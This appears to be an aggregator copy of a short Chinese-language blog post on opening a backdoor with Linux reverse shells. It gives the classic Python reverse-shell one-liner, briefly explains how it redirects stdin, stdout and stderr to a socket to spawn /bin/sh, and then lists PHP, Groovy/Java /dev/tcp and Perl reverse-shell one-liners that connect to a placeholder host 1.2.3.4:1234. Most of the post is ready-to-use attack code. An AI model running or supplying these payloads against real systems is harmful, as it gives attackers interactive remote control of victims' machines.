10

Linux 反彈 shell 開啟後門

 2 years ago
source link: https://blog.niclin.tw/2018/09/02/linux-%E5%8F%8D%E5%BD%88-shell-%E9%96%8B%E5%95%9F%E5%BE%8C%E9%96%80/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Nic Lin's Blog

喜歡在地上滾的工程師

攻擊者可以用各種方式誘使被攻擊者的系統在有漏洞的情況下執行開後門的程式碼,當攻擊者拿到了 shell 權限,代表他可以如幽靈般的進入機器。

python 在 linux 系統下反彈 sell 的經典代碼

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("1.2.3.4", 1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

主要原理是,新建一個 socket 連接,並將 0, 1, 2 分別代表系統的 stdin, stdout, stderr(標準輸入、輸出、錯誤),重新定向到 socket 之中,然後打開一個 bash 的 shell。

這樣我們可以從 socket 連線中船來的命令就會進入系統的標準輸入(就跟一般鍵盤輸入一樣了),系統的輸出和錯誤也會重新定向到 socket 之中,被我們的 client 端獲取。

在被攻擊者的系統執行上述指令,就會把命令回傳給了 socket 並顯示在攻擊者的視窗之中了。

其他反彈 shell

php -r '$sock=fsockopen("1.2.3.4",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/1.2.3.4/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
perl -e 'use Socket;$i="1.2.3.4";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK